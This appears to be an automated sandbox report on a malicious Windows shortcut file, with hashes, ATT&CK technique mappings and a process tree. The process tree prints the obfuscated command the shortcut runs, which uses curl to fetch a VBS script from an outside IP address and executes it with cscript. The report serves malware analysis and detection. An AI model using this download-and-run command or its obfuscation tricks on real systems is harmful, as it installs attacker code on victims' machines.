dd2b6f5f2a878ee38b816551b6ab964b7e2624325d1b942eee26b953b58351d2

Analysis

max time kernel
146s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
12-10-2023 00:00

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General

Target

2b31d24b4040c4e57b0763eb38c387f3d98411780e9e3580a6f1933e1bcfa2df.lnk
Size

2KB
MD5

1f5ddc00ded03b107ed1306f49592188
SHA1

a44896e8ad949c6c83f3d8cb1caccf6056e8ed22
SHA256

2b31d24b4040c4e57b0763eb38c387f3d98411780e9e3580a6f1933e1bcfa2df
SHA512

85131d8da35735a31b0cb0570e89bb18cefee09a237bb8c6a9f860b5bc19c2a73146f98c9603f28950f3d32b7dfb1ed8b67c7196dbc6de4f119c56ee5bf53668

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
52	1892	cscript.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation	cscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
3520	PING.EXE
2928	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	52	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 4680	2176	cmd.exe	87
PID 2176 wrote to memory of 4680	2176	cmd.exe	87
PID 4680 wrote to memory of 3520	4680	cmd.exe	88
PID 4680 wrote to memory of 3520	4680	cmd.exe	88
PID 4680 wrote to memory of 4152	4680	cmd.exe	92
PID 4680 wrote to memory of 4152	4680	cmd.exe	92
PID 4680 wrote to memory of 2928	4680	cmd.exe	93
PID 4680 wrote to memory of 2928	4680	cmd.exe	93
PID 4680 wrote to memory of 1892	4680	cmd.exe	94
PID 4680 wrote to memory of 1892	4680	cmd.exe	94
PID 1892 wrote to memory of 4552	1892	cscript.exe	101
PID 1892 wrote to memory of 4552	1892	cscript.exe	101

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\2b31d24b4040c4e57b0763eb38c387f3d98411780e9e3580a6f1933e1bcfa2df.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c GD || echO GD & PI"n"G GD || CU"R"l http://185.39.18.170/ER/rbo -o C:\Users\Admin\AppData\Local\Temp\GD.vbs & PI"n"G -n 2 GD || cS"CR"I"pt" C:\Users\Admin\AppData\Local\Temp\GD.vbs & ExIT
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\Windows\system32\PING.EXE
    PI"n"G GD
    3⤵
    - Runs ping.exe
    PID:3520
- - C:\Windows\system32\curl.exe
    CU"R"l http://185.39.18.170/ER/rbo -o C:\Users\Admin\AppData\Local\Temp\GD.vbs
    3⤵
    PID:4152
- - C:\Windows\system32\PING.EXE
    PI"n"G -n 2 GD
    3⤵
    - Runs ping.exe
    PID:2928
- - C:\Windows\system32\cscript.exe
    cS"CR"I"pt" C:\Users\Admin\AppData\Local\Temp\GD.vbs
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1892
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe"
      4⤵
      PID:4552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\GD.vbs

Filesize
1KB

MD5
aaf0775875ed139ac0e027ef0a74fe4e

SHA1
1fed106b3245bd2def846fcf26da2262f2ee1090

SHA256
c77765e4b787bbf1c807035b526b86878a57a7e8e4809f92e19d8002ba3b1b9f

SHA512
307964303d3e9b98dd7cc9ad560e8a90ca1e2a4dad39a9de99c5f789793e760c29a17b7458ad5fc115a4b4e1175f31a0da2793f8eaaaa722ae06f50d6afab2da

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